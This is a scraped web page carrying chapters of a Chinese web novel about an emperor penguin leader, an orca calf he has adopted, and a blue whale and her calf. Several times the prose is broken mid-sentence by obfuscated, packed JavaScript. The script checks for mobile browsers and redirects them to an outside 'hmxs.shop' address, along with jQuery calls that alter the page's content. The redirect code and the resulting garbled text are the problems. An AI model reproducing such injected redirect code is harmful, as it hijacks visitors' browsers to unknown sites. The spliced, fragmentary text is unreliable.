l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919046|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东边族群都知道,阿让是专程来找过他的,要他带着族群加入阿让的族群。 这种情况下,没有东边族群会让他加入,就是逼他去找阿让。 他最不受任何威胁,已经决定,就带着族群去阿让族群的聚居地,但坚决不加入阿让的族群! 路程确实太远,只是因为他们走的很慢,照顾了所有幼崽,抵达阿让族群聚居地的时候,竟然没有损失一只幼崽! 不过,他们也付出了很大的代价。 族群的公企鹅们太长时间没去大海捕猎进食,瘦的不成样子了,全都快饿疯了! 潘步甚至觉得,比之前三四个月不进食时还饿的慌。 之前大部分时间其实都在族群等雌企鹅们回来,这次可是一直在赶路,太消耗。 阿让早就站在族群的最外面等他们。 潘步直接滑到了阿让的身边,说:“我不会加入你的族群,但我的族群也要把这里当做聚居地。” 阿让忙道:“都随你,现在,你得赶紧带你族群的公企鹅去海里进食,我给你们带路,走吧。” 潘步愣了愣,反应过来后,才说:“这就是你弥补我的方式?” 阿加猛的冲向阿让,用翅膀扇,用毛茸茸的小身体顶,愤怒的嘎嘎大叫: “就因为你,东边族群都不同意我哥哥的族群加入,不然我们根本不用走这么远!” 阿加实在太小,连阿让的一根毛都没打掉。 潘步用翅膀将崽子揽了回来,蹭着崽子的脖颈,说:“好了,别气了,我不会让他如愿。” 阿让只是催促:“走吧,不能再耽误,我带路,保证让你们最快吃饱。” 阿加无比心疼哥哥都饿坏了,连忙跟着催促:“哥哥,你快走吧,让他带路,他应该的!” 潘步没有拒绝,立马召集族群的公企鹅,出发去大海。 阿让在最前面带路,他们始终没有任何交流,一刻不停的赶路。 这里距离东海岸原本就不远,不知不自觉就到了。 潘步第一次感受到最好聚居地的优势,简直香的不得了! 东海岸有一段是异常平缓的沙滩,没有断崖水位,几乎不可能藏豹海豹。 阿让首先下海,他们也赶忙跟着跳了下去。 这片海域是阿让最熟悉的,直接带着他们游到了鱼虾最多的深海区,一顿狂吃。 他们刚吃饱,准备返回海面的浮冰上休息,突然被海德拦住了去路。 海德没有靠近,就停在对企鹅来说,绝对安全的距离。 阿让丝毫不慌,只是说:“别怕,跟我游,虎鲸游不过我们。” 海德看上去很崩溃,急道:“阿步,终于等到你下海!快看看海赛吧!” 阿步就怕海赛出啥意外,忙问:“海赛怎么了?!你快说啊,你要急死我啊!” 海德摆了摆鲸尾,只见海德巨大的身体后面,海赛探出一个圆滚滚的小脑袋,轻轻的嘤嘤叫: “妈咪,我、我,你,你能过来吗,我有点不好意思……” 潘步:额,全海洋会不好意思,海赛都不会! 这是,鲸格分裂?怎么还分裂出社恐鲸格了? 你们海里最近很流行“社恐”吗,怎么一个二个都这样?! 但虎鲸不够凶残,无异于被判了死刑,就有这么严重! 海德摊开双鳍,眼神仿佛在说:你自己看吧,我解释不清楚了,我都不认识我崽了。 18.南极帝企鹅·生命赞歌(18) 潘步赶紧游到了海赛的身边,用整个身体轻轻蹭着海赛的大脑袋,疑惑道: “崽崽,你以前很凶的啊,怎么变成了这样?” 潘步:那啥,海赛啊,你过去那头型呢,支棱起来啊! 海赛摆了摆鲸尾,怯生生的嘤嘤叫: “妈咪,我不知道,我以前很凶吗,那也太可怕了吧,我不要,才不要凶……” 潘步:怎么一段时间不见,病情加重了这么多! 海德气的脑袋都要炸了,无法自控的怒吼: “小崽子,你再这样,我特么咬死你!像我这样,张开嘴,露出獠牙,吼,撕咬,我们可是虎鲸啊……” 潘步完全能理解,海德的崩溃,一头虎鲸不够凶残,简直就是顶级残废! 海赛的鲸鸣难听,会被疯狂嘲笑,将来很难找对象,但几乎不会影响生存,都只能算轻度残疾。 虎鲸是海洋“黑.恶.势.力”,所有虎鲸都万分凶恶,族群内部日常交流都骂来骂去,对外,那更是嗜杀成性。 主要是因为,虎鲸捕猎全海洋,当然也就面临来自全海洋的危险,可以说是全海洋公敌! 南极海域,虎鲸超爱美食排名: 第一名,所有大型须鲸的舌头以及嘴唇 第二名,各个种类鲨鱼的肝 第三名,企鹅的胸脯肉 …… 更更更过分的是,虎鲸就只吃猎物最嫩的部位,其余全部丢掉。 虎鲸族群辛辛苦苦捕猎一头座头鲸,甚至蓝鲸,也只吃舌头和嘴唇。 鲨鱼是人类惊悚电影的主角,但在海洋,再厉害的鲨鱼,也不过就是虎鲸的一道菜,并且只有肝才配被虎鲸吃。 但虎鲸也不是故意浪费,虎鲸的牙齿无法再生,为了保护牙齿,只能吃猎物最嫩的部位。 因此,所有大型须鲸,只要有机会,都会杀死虎鲸幼崽。 特别是海.洋.警.察座头鲸,那是真的逮着虎鲸揍,不远千里都要专程去揍虎鲸。 海洋不共戴天真·死对头——虎鲸和座头鲸。 座头鲸日常:吃饭、睡觉、打虎鲸! 关键,这些大型须鲸,体重几乎都在30吨以上,蓝鲸更是达到恐怖的200吨。 最大的虎鲸也不过才12吨左右,被大型须鲸追杀,非常危险! 座头鲸虽然不是须鲸中体型最大的,却是最凶残的,对虎鲸的威胁最大。 这么多危险的情况下,要是虎鲸不够凶残,那是真的会没命,并且死的很惨! 海德一边愤怒的撕咬,一边怒吼: “小崽子,你变成啥样都行,就是不能变成这样,快给我凶起来,咬,快点……” 海赛吓的不行,赶忙躲到了阿步的身后,浑身无法自控的颤抖,嘤嘤叫着说: “爸爸,你别这样,我很怕,妈咪,我、我怕,妈咪,快救救我……” 海赛作为一岁多的虎鲸幼崽,已经有接近1000斤的体重,在帝企鹅面前,简直就是庞然大物。 潘步仍旧张开了翅膀护住崽子,说:“海德,你先冷静一下,不要再吓唬赛赛,我们一起慢慢想办法。” 海赛紧靠在阿步的身后,轻声嘤嘤叫: “妈咪,爸爸好凶,我怕,妈咪,你终于回来了,我好想你……” 海德简直要被气炸了,崩溃的大喊:“啊啊啊,我受不了了,谁来弄死我,崽子变成这样,我真的不想活了……” 潘步连忙说:“也许我有办法,但需要你配合,也不一定有用,你要有心理准备。” 海德惊喜道:“好,阿步,我什么都听你的,无论结果如何,我都要试试!” 潘步开始分析:“崽崽是因为妈妈离开,太伤心,脑子才出问题的,必须先让崽子完全接受这个事实,进行情景重现,脱敏训练……” 海德赶忙说:“阿步,你慢点,我怎么听不懂了。” 潘步又详细解释了自己的“治疗方案”。 海德听完后,激动道:“我觉得,应该能行。” 潘步又说:“但是,不停受刺激,也有可能会加重海赛脑子的问题。” 海德坚定道:“再怎么糟糕,也不可能比现在更糟糕,比现在更糟,我也认了!” 随后潘步看向族群,说:“我先去族□□代一下。” 海德忙道:“阿步,我可以派虎鲸远远跟着,保护你的族群,你放心,绝对不靠近你的族群,不会吓到他们。” 潘步连忙说:“不用,真不用,一旦我的族群习惯了被虎鲸保护,以后怎么办。” 海德:“我可以永远保护你的族群,我说到做到!” 但是,在南极,大部分虎鲸都很喜欢吃企鹅,如果他族群的企鹅不再惧怕虎鲸,相当于求生本能都丢了。 潘步强调道:“企鹅不能不怕虎鲸,海德。” 海德点了点头,表示认可。 潘步刚游回族群,阿让就激动的说: “我之前就听说你认了个虎鲸崽子,我都不信,阿步,你疯了啊,虎鲸太危险太狡诈……” 潘步打断了他:“阿让,我的事,不用你管,你帮我的族群带路,算我们互不相欠,以后就不要往来了。” 阿让顿了顿,还是问了出来:“你们走了那么远的路,死了多少幼崽?” 潘步如实说:“没有幼崽死亡。” 阿让夸赞道:“阿步,你是最好的族群首领!” 潘步却觉得,这是讽刺。 阿让的眼神明明就在说:你看吧,我早跟你讲过,不会很难!不听老鹅言,吃亏在眼前!早听我的,早完事儿了! 阿让立马看出了阿步的尴尬,连忙解释: “幼崽确实不能长途跋涉,你之前的考虑都是对的。 你能让一个幼崽都不死,那是你的本事,我都不敢保证,那么远的路,真的能一个幼崽都不死。” 阿让主要是考虑到,他马上就要回去族群,得先了解清楚情况。 他没有再为自己解释什么,转身往东海岸游去。 潘步自然还是让阿索帮他管理族群,又特意嘱咐了阿沙和阿慢协助阿索。 帝企鹅是绝对服从首领的,即便他们都觉得,老大不应该跟虎鲸这么亲密接触,却还是什么都没说。 海德只是向身后的虎鲸小弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16921249|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使了一个眼神。 虎鲸小弟立马心领神会,首领是要他偷偷保护阿步的族群,绝对不能被阿步的族群发现。 他可是最聪明的虎鲸,最会潜伏,保证完成任务! 潘步游回了海赛的身边,柔声说:“崽崽,我们先回海面。” 海赛不停嘤嘤叫着妈咪,紧紧靠着阿步游,一丝一毫都不愿分开。 回到海面后,潘步和海德制定了特别详细的“情景重现”方案。 他们首先就要回到,虎鲸妈妈海音出事的那片海域,将当天发生的一切尽量真实的复原。 海德游在最前面带路,潘步带着海赛紧挨着海德,他们的身后是整个虎鲸群。 他们所过之处,除了大型须鲸群,其他所有海洋生物全都避之不及! 潘步:啊,虎鲸这高级黑白配色,就完完全全是一群“西装暴徒”大摇大摆走在街上啊,太霸气了! 在海德的带领下,他们很快就来到了那片海域。 海德提前派过来的几只虎鲸,已经捕猎成功一只海豚。 那天族群就是先捕猎了一只海豚,给海赛吃着玩,这也是还原的一部分。 这几只虎鲸,围着海豚,骂骂咧咧的吵架: “你废物啊,明明可以抓更大更肥那只!” “淦,还怪上我了,让你撞,你撞啥玩意儿去了?” …… 虎鲸就这么粗暴,嘤嘤嘤的叫声,听上去很萌,但“含骂量”99%! 海德带着族群游了过去。 潘步按照之前制定的详细“还原方案”,充当妈妈的角色,带着海赛游到了一块小浮冰下。 他蹭了蹭海赛的大脑袋,说:“赛赛,顶浮冰好玩吧,就这样顶,对,利用海浪顶,很省力对不对……” 就连对话都完全复制。 海赛高兴的不行,嘤嘤叫着说:“妈咪,真好玩……” 突然,海赛大叫起来:“妈咪,好可怕,嘤嘤嘤,妈咪,我们快跑!” 潘步低头一看,只见一只大白鲨直冲他而来,眼见着就要咬中他的半个身体。 这一口下去,他必死无疑! 虽然鲨鱼不吃企鹅,但鲨鱼眼神特别不好,经常误杀企鹅,咬死尝了几口,还会说: “啥玩意儿,太油了,真难吃……” 潘步想逃,但根本来不及,海德也来不及救他! 海赛突然挡在了他的前面,一口咬住了大白鲨。 大白鲨被咬住命脉,瞬间进入“强制静止”状态,海赛又猛猛补了几口,大白鲨死的透透的了。 海赛赶忙又藏在了他的身后,无比惊恐的看着死的梆硬的大白鲨,嘤嘤叫着说: “妈咪,大白鲨好可怕,妈咪,保护我,抱抱我,我好怕……” 潘步:额,这就是,胆小内向哭唧唧嘤嘤怪,但超能打超猛? 死不瞑目大白鲨:到底谁可怕啊!我真的服了! 潘步赶紧张开小翅膀,抱住了庞大幼崽满是鲜血的嘴筒子尖儿,赶忙哄: “崽崽,不怕不怕,没事了,他都死了,是他坏,吓到我们崽崽了,呼噜呼噜毛,吓不着……” 19.南极帝企鹅·生命赞歌(19) 海德立马游了过来,急问:“阿步,你没事吧?” 潘步忙道:“没事没事,海德,你看,不用太担心,赛赛真的很厉害!” 海德长叹了一口气,说:“鲨鱼就把崽子吓成这样,以后可怎么办。” 成年虎鲸弄死鲨鱼,就跟人捏死一只蚂蚁一样简单。 但这可是大白鲨,再厉害的虎鲸幼崽也不可能单杀大白鲨! 鲨鱼种类很多,大白鲨不是体型最大的,但大白鲨也是重达三吨的大家伙,并且是所有鲨鱼中最凶残的! 潘步道:“海德,赛赛才一岁多,就算是亚成年虎鲸,都不一定能单杀大白鲨……” 海德只是说:“这些猎杀技巧,都是我和海音教过他很多遍的了。” 潘步微怒道:“如果不是赛赛天赋好,你们教的再好,都没用!” 海赛能如此快准狠猎杀大白鲨,简直就是虎鲸中的“神童”、“极品天灵根”。 绝对的天之骄子! “我们赛赛就是最厉害的虎鲸,超凶猛!” 海赛轻声的嘤嘤叫:“妈咪,我、我不厉害。” 如果是以前的海赛,被骂都不会自卑,被夸,那尾巴都要翘到天上去! 潘步又跟海德强调了一番,以后只能夸,一句不好的都不能说。 海德只能先答应下来。 随后,他们继续执行计划。 潘步带着海赛游到了猎物面前,柔声说: “赛赛,你最近不是喜欢吃海豚吗,吃着玩吧,对,咬最嫩的肉……” 海德忽然说:“差点忘记,巨鼻让我告诉你,他带着巨牙和族群去了远洋,要锻炼巨牙,不知道什么时候回来。” 潘步点了点头,他知道象海豹幼崽需要到远洋去锻炼。 不远处,虎鲸群已经将那只大白鲨撕了个稀碎,一边吃鲜美柔嫩的鲨肝,一边嘤嘤叫: “这些鲨鱼,全特么瞎子,招笑的很,多少次了,专门跑来给我们加餐!” “呵呵,又瞎又蠢,海里会动的,他们都想尝尝,也不看是啥。” “这找死玩意儿也不知道从多远的海域游来的,吸溜,真香,真解馋。” …… 潘步:大白鲨啊,你可真是,千里送外卖,礼轻情意重!恭喜,落海成盒! 其实,虎鲸太多的海域,几乎没有鲨鱼。 虽然鲨鱼又瞎又蠢,但生存的本能,让他们在得知某个海域有虎鲸时,会立刻远离。 即便如此,虎鲸群还是经常都可以吃到专程来送死的鲨鱼,因为总有鲨鱼会路过这片海域。 海赛将这只海豚最嫩的部位吃完后,高兴的嘤嘤叫:“妈咪,真好吃!” 潘步又说:“崽崽,你不是最喜欢去那片超大珊瑚礁玩吗,我们现在就去。” “好耶,妈咪,那里超好玩的……” 海赛兴奋的摆动着鲸尾,一边说着一边已经迫不及待的往珊瑚礁游去。 潘步立马跟了上去,紧贴着海赛的大脑袋游,海德只是默默跟在他俩的身后。 海德已经让族群最厉害的几只虎鲸,提前去另外一片海域引座头鲸群。 超大珊瑚礁在两片海域的交界处。 海音就是独自带崽玩耍时,在那里遭到座头鲸群偷袭。 他们游了很久,终于抵达。 潘步带着海赛,在超大珊瑚群上,穿来穿去的玩耍。 海德只是默默的陪在旁边,尽量减少自己的存在感。 直到听见族群虎鲸发出的暗号,证明座头鲸群已经被引了过来。 海德赶忙说:“崽崽,阿步有急事要回族群一下,我陪你玩,好不好?” 海赛虽然很不情愿,但还是十分乖巧的说:“妈咪,你快去快回!” 潘步应着好,瞬间窜到海面换气,再避开海赛的视线,游下来,找到超大珊瑚礁最隐蔽的角落。 咕咚! 他直接跳进了一个巨型桶状海绵里面,藏的严严实实。 他早就观察好了,这个位置很隐蔽,视野又非常好。 很快,远处就传来虎鲸的嘤嘤叫骂声: “臭座头鲸,死座头鲸,有本事来撞我啊!就吃你们的幼崽,吃光,全都吃光!” “啥几把大翅膀,来扇我啊,吸溜,你们的嘴唇舌头最好吃啦,超香。” …… 十多只座头鲸以极快的冲了过来,找了一圈,都没找到骂他们的虎鲸的身影。 海德早就利用珊瑚礁将自己藏了起来,在座头鲸视线里就只有一头虎鲸幼崽。 座头鲸已经被愤怒冲昏了头脑,他们明知这是海德的幼崽,还是就想乘这个机会弄死! 他们静悄悄的游了过去,发起偷袭,猛的撞向幼崽。 海赛吓蒙了,一动也不能动。 砰砰砰……巨响不断。 座头鲸扑空后,全都狠狠撞在了超大珊瑚礁上。 海德早有准备,以极快的速度带着崽子躲到了一边。 座头鲸见附近并没有虎鲸群,再次猛的冲向海德和海赛。 海德带着崽子灵活的躲避,只专心保护幼崽,并不进攻。 刚才引座头鲸过来的两只虎鲸,立即加入了战斗,但座头鲸这边优势太大。 座头鲸无比愤怒的挥舞着大翅膀狂扇,用身体猛撞! 潘步瞪大了眼睛,他还是第一次这么近距离的看虎鲸和座头鲸的较量。 这些座头鲸全都是30吨以上的庞然大物,虎鲸还不如座头鲸体重的三分之一。 要是躲避不及,真结实挨上几下,虎鲸绝对会受严重内伤,甚至可能当场死亡。 座头鲸为了狠揍虎鲸,还会用藤壶武装自己,故意让藤壶长满翅膀边缘,以及脑袋最前面撞击的部位。 藤壶有最坚硬锋利的壳,虎鲸挨上一下就得血刺呼啦,刮下无数碎肉。 潘步:这不最强反甲吗!那翅膀不就是双臂铁刺装!脑袋更是全刺头盔! 虎鲸就输在,游速太快,浑身光溜的,长不了藤壶这种寄生生物。 这十几只座头鲸,猛追海德族群的两只虎鲸,掀起的巨浪,搅动的周围海水激荡的厉害。 没一会儿,海德族群所有的虎鲸都赶了过来,座头鲸见势不妙,立马撤离。 潘步早就发现,海赛始终目不转睛的盯着珊瑚礁旁边的海底沙滩看。 突然,海赛猛的冲了过去,不停的蹭空旷的沙滩,不停的嘤嘤叫。 潘步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929142|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧游了过去,抱着海赛的嘴筒子尖儿,柔声引导:“崽崽,你在跟谁说话?” 海赛哭着说:“妈妈,我的妈妈就死在这里……” 潘步很庆幸,海赛能说出这句话,至少证明海赛愿意直面现实了。 海德也非常难过,虽然他早就杀光了那天偷袭海音的所有座头鲸,有的就是追杀到南极以外,他都没放过。 但杀光了又有什么用,他的海音再也回不来了。 …… 此后,他们又进行了很多次,今天这样的“场景重现”,对海赛进行脱敏训练。 但效果一直都不明显,海赛只会当时很难过,游到海面,立马就忘。 潘步也到了该回去族群的时候。 走之前,他特意嘱咐海德,继续进行脱敏训练,不要放弃。 他照样不让海德和海赛送他,带着族群径直往东海岸游去。 一路上,许多海洋生物都在小声骂他: “这个阿步脑子有病吧,给虎鲸幼崽当妈,早晚被那崽子活吃!” “等虎鲸吃光他的族群,就老实了,煞笔,企鹅全都蠢的要死。” “以为抱上海德的大翅膀,就能在海洋横着游啊,等着被座头鲸扇死吧!” …… 潘步早料到,会被全海洋骂,但都不敢拿他怎么样,骂也只能偷偷骂,不能给海德听到。 他本身就不在乎这些,而且他早就将海赛当亲生崽子,只要崽子好,怎么着都成。 阿沙愤怒不已的说:“他们有本事去海德身边骂啊,就知道欺负我们企鹅。” 阿慢赶忙安慰:“老大,你别难过,就当听不见……” 潘步淡然道:“我们企鹅被骂的还少啊,阿德利才会生气,我们帝企鹅什么时候在乎过,不都当夸奖吗!” 阿沙和阿慢异口同声的说:“对哦!差点忘记了!我们帝企鹅最棒,老大最棒!” 潘步:嘿嘿嘿,这就叫无法选中。 游出这片海域后,忽然有一头带崽的巨大蓝鲸一直跟他们同路。 蓝鲸不会攻击企鹅,倒是不危险。 但潘步还是觉得太奇怪,蓝鲸怎么可能跟他们同路,他们要去岸上,蓝鲸只能待在深海区。 他们即将游出深海区的时候,蓝鲸突然发出鲸鸣:“阿步,我是蓝影,可以跟你说几句话吗?” 潘步愣了愣,他是真没认出来,赶忙游到蓝影的面前,说: “真是你啊,怎么不早点叫住我!你、你有幼崽?” 蓝影轻声说:“阿步,崽子硬要来见你,而且我是你救的,我早该来谢你。” 潘步忙道:“不用,真不用……” 这时,他看见,海赛游了过来,嘴里叼着灰鲸的舌头。 之前海赛就说过,要他尝一点大鲸的舌头,很好吃,只是海德族群一直没时间捕猎大鲸。 潘步忽然反应过来,灰鲸、蓝鲸都是大型须鲸,吃灰鲸,跟吃蓝鲸,有什么区别! 他慌忙道:“蓝影,你快带崽子走吧,别让崽子看见,会吓坏崽崽的。” 蓝鲸幼崽十分沉稳的说:“我不怕。” 潘步:额,不会玩脱吧,我哪能想到,蓝影这么社恐,还能来找我! 20.南极帝企鹅·生命赞歌(20) 蓝影轻声说:“没关系,阿步,你和虎鲸族群的事,我都知道,我和崽子都不怕虎鲸,我的族群也很厉害的。” 潘步看看海赛,又看看蓝影,他太紧张太尴尬,好一会儿后才反应过来问: “啊?你说什么?你有族群?不是,我没听错吧?蓝鲸怎么会有族群?!” 蓝影解释道:“我的族群在远洋,我的崽子,很多时候都是族群帮我照顾的,我喜欢探索陌生的海域。” 潘步惊道:“原来真的有蓝鲸族群啊,我还以为是传说,你们蓝鲸族群真神秘,我们都没见过!” 目前全球现存蓝鲸一共都才不到2万头,大多都集中在南极海域。 其实蓝鲸并不是独居动物,所有鲸几乎都是群居动物。 只是海洋食物没有以前那么丰富,蓝鲸每次进食都要吃很多磷虾和小鱼,逼迫蓝鲸只能独自觅食,逐渐发展为独居,或者母亲带一只幼崽的模式。 南极是全海洋食物最丰盛的海域,特别是磷虾群,非常多,蓝鲸也就只有在南极可能存在小型族群。 蓝影轻声解释:“我的族群不喜欢集体行动,经常会分开觅食,你们看到的蓝鲸,有可能就是我所在族群的,只是你们不知道。” 潘步恍然大悟:“难怪!我就说,你那天是独自被困在冰洞,蓝鲸妈妈和幼崽不可能分开,原来是有族群帮你照顾幼崽!” 蓝影:“我的妈妈是族群首领,她很厉害,她帮我教崽子,比我自己教的好多了。” 潘步:额,原来蓝影是神秘族群的首领千金,难怪可以到处闲逛,好潇洒! 这时,海赛游了过来,怯生生的将灰鲸的舌头放在阿步的面前,颤抖着声音说: “妈咪,你、你怎么会认识蓝鲸?妈咪,我真的很想让你尝尝,我是不是不该过来?” 海赛都吓成这样了,他根本不忍心再责备什么,柔声道: “别怕,蓝影是我的朋友,她不会伤害你,妈咪很高兴,你能这么勇敢,自己过来。” 如果是以前的海赛,别说一头蓝鲸,就是真有一群蓝鲸,都不带怕的,还敢去挑衅。 蓝鲸虽然是体型最大的须鲸,但虎鲸根本就不怕蓝鲸,因为蓝鲸几乎不会主动攻击虎鲸。 当然虎鲸也几乎不会捕猎蓝鲸,因为蓝鲸数量太少,且行踪神秘,很难找到,更何况,捕猎蓝鲸的难度太大。 但不是完全不捕猎,南极就有虎鲸群不仅捕猎过蓝鲸幼崽,还捕猎过成年蓝鲸! 蓝影轻声说:“这就是海赛吗,我从没见过这么胆小的虎鲸,真可爱。” 潘步:……他以前可一点儿都不可爱,凶残的很! 蓝影当即意识到,说虎鲸胆小可爱,虎鲸只会觉得她骂的太难听,慌忙解释:“我不是这个意思。” 海赛瞬间自卑的低下了头,轻声说:“没关系,我本来就胆小,但我不可爱,我以后会凶起来的,我会!” 潘步无比心疼的蹭着崽子的大脑袋,安慰:“赛赛,你很厉害,蓝鲸夸崽子才会说可爱,蓝鲸和虎鲸不一样。” 这时,蓝鲸幼崽郑重其事的说:“阿步,谢谢你救了我的妈妈,以后你就是我的爸爸。” 潘步:“啊???” 蓝影忙道:“阿步,你不愿意也没关系的,崽子的爸爸是北海的蓝鲸,不会来南极,崽子想要一个爸爸。” 潘步:“啊?!你去过那么远!” 蓝影解释道:“我喜欢探索陌生的海域。” 潘步:……社恐的探险家蓝鲸,你很时髦嘛! 蓝鲸幼崽又说:“爸爸,以后我会永远保护你。” 潘步急道:“可,我还没你的生,额,你的两个喷气孔大,我怎么做你的爸爸啊!” 其实,他脱口而出想说的是:我还没有你的生.殖.器大。 因为蓝鲸幼崽浑身上下,实在没有跟他差不多大的东西,只有这个最接近,他才会下意识想到。 成年雄性蓝鲸的生.殖.器足有三米长,这只蓝鲸幼崽看上去已经四五岁,至少有一米五了,他是帝企鹅,他身高都还没一米五呢! 幸而他反应快,换了个类比。 虽然动物根本完全没有这方面的羞.耻.心,只有人类教育才会有,但他以前是人类啊,他绝对不允许自己这样! 蓝鲸幼崽十分强势的说:“我说你可以,你就可以,全海洋反对,都没用。” 潘步:……额,怎么有点霸道总裁那味儿,但,好吧,我再拒绝,好像就有点过分了。 好,很好,当爸爸,总比当妈妈合适一点,至少这回性别对了! 海赛很生气,但不敢发泄出来,只用很小的声音说: “可是,妈咪,我不想要你做他的爸爸,他好大好可怕!” 蓝鲸幼崽出生就有3吨左右,哺乳期每日增重100公斤,这只蓝鲸幼崽至少有五六十吨,比两个座头鲸加起来都大! 潘步连忙安慰:“赛赛,别怕,他也很可怜的,你没有爸爸。” 蓝鲸幼崽沉声道:“虎鲸弟弟,你也是爸爸的幼崽,我不会伤害你。” 潘步:……反了吧,你们反了吧,你俩这性格,互换一下就好了! 蓝鲸幼崽又说:“爸爸,我叫蓝星,很高兴成为你的幼崽。” 潘步从没见过这么沉稳的幼崽,回道:“你的名字真好听,我也很高兴成为你的爸爸。” 蓝影轻声解释:“崽崽出生脑袋上就有很多星星一样的稀碎纹路,就取了这个名字。” 潘步仔细看了看,确实很像星星,蓝鲸又是深蓝色的皮肤,看上去就像星辰大海! 他忍不住赞叹:“哇,真的好漂亮!” 蓝星:“谢谢爸爸夸奖。” 潘步:……这崽子说话怎么怪怪的,不管了,高冷霸总崽,社恐探险家妈妈,你俩是真时髦! 海赛胆怯的看着面前巨大的蓝鲸,嗫嚅着说: “妈咪,你快尝尝吧,我还是有点怕,我想回族群了。” 海德和族群就等在不远处,因为阿步的身边有蓝鲸幼崽,怕吓到崽子,海德才没有带族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933437|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群过来。 海赛非常细心的从巨大舌头上撕下小小的一条,正好合适企鹅吃。 潘步囫囵吞下,夸赞道:“很新奇的口感,很嫩,就是有点吃不习惯,以后不用再给我尝这些了,但我很高兴,崽崽什么都想着我。” 如果崽子没生病,他说啥都不可能吃这种东西。 企鹅并不固定吃鱼虾,实际上只要大小合适的猎物,啥都吃。 只是大鲸的舌头,确实有点太超出潘步的接受范围,吞的太快,他都没尝出啥味儿。 潘步:有点太掉san了啊,你们虎鲸习以为常,但我们真的觉得很变.态很恐怖啊!特别是,大型须鲸崽崽和妈妈都在旁边! 海赛实在舍不得妈咪,即便再怕,还是腻歪了一阵,才叼着大舌头回去族群。 海德当即带着崽子和族群往领海游去。 蓝星催促道:“爸爸,你快回去族群聚居地吧,等你再来大海,我会给你一个惊喜。” 潘步好奇的问:“什么惊喜?先告诉我可以吗?” 蓝星却说:“惊喜当然要保密,爸爸,我们先走了,你也快赶路吧。” 潘步:这崽子真会吊人胃口,我都无比期待下次回大海了呢! 他目送着蓝影带着崽子游向远洋,他才带着族群上岸。 族群的所有帝企鹅都感到非常不可思议,但他们什么都没说。 他们的老大都有虎鲸幼崽了,多个蓝鲸幼崽还更好呢。 反正在他们的小脑袋瓜看来,蓝鲸就是超好,虎鲸就是超坏,但只要是老大的崽子,那都好! 这次潘步很快就带着族群回到了聚居地。 他看着满雪地乱跑的巨大“猕猴桃”幼崽,有点傻眼。 直到阿加这个巨巨大猕猴桃朝着他飞速滑过来,猛的扑到了他的怀里,他才反应过来:崽子们到换毛期了! 帝企鹅幼崽到换毛期后就是长的很快,一下子就会窜高特别多。 巨大“猕猴桃”崽子们紧跟在父母的身边,还是像小时候那样撒娇。 因为幼崽的毛很多很厚很蓬松,一个个看上去体型都比父母要大的多。 但这些看似体型很大的幼崽,其实啥都不懂,一旦找不到爸妈,就叽叽叫个不停,慌的不行。 这个时期的帝企鹅幼崽——高大威猛,但无助。 潘步:额,这不就是“180的孩子戴着小天才被爸妈领着看儿科”的既视感! 他仔细的比对,终于确认,阿加现在就已经比他还高一点! 阿加还是像小时候那样,想整个埋到他雪白的毛里,但已经只能把脑袋埋进去。 “哥哥,我好想你!” 潘步张开翅膀抱住了崽子,不停的蹭着崽子的脖颈,说:“我也很想你,崽崽。” 阿加轻声问:“哥哥,我听海里回来的阿德利说,你有虎鲸幼崽,还有蓝鲸幼崽,他们叫你爸爸妈妈,为什么你要当他们的爸爸妈妈?” 潘步:……阿德利真是“大嘴巴”,有他们在,消息是传的真快! 21.南极帝企鹅·生命赞歌(21) 潘步不知道怎么跟阿加解释,只能说:“崽崽,以后我会让你们认识。” 阿加却说:“哥哥,我不想认识他们。” 潘步无奈道:“不想认识也行。” 他用爪子猜,也能猜到,阿加是在闹什么别扭。 阿加的独占欲太强,哪怕别的幼崽根本就不是帝企鹅。 之前就因为巨牙叫他麻麻,阿加就很失落,难过了好久呢。 阿加又说:“不,哥哥,我要认识他们。” 潘步惊喜不已的问:“崽崽,你想通啦?他们又不是帝企鹅,你跟他们争什么。” 阿加嘴里说着:“对,他们又不是帝企鹅。” 心里却想着:哥哥那么喜欢他们,每次去大海都那么高兴,得好好学学,他们到底哪里好! 阿加扯着自己身上东一块西一块的绒毛,有些难过的问:“哥哥,我很丑,对不对?” 潘步被逗乐了,嘎嘎笑着说: “崽崽,不丑,换毛的尴尬期都这样,你看,长出的翎羽多漂亮,等绒毛全都掉完,你就会变的跟哥哥一样。” 阿加见哥哥高兴,立马又高兴了起来。 潘步安抚好了崽子,当即找到了阿湄,叮嘱道: 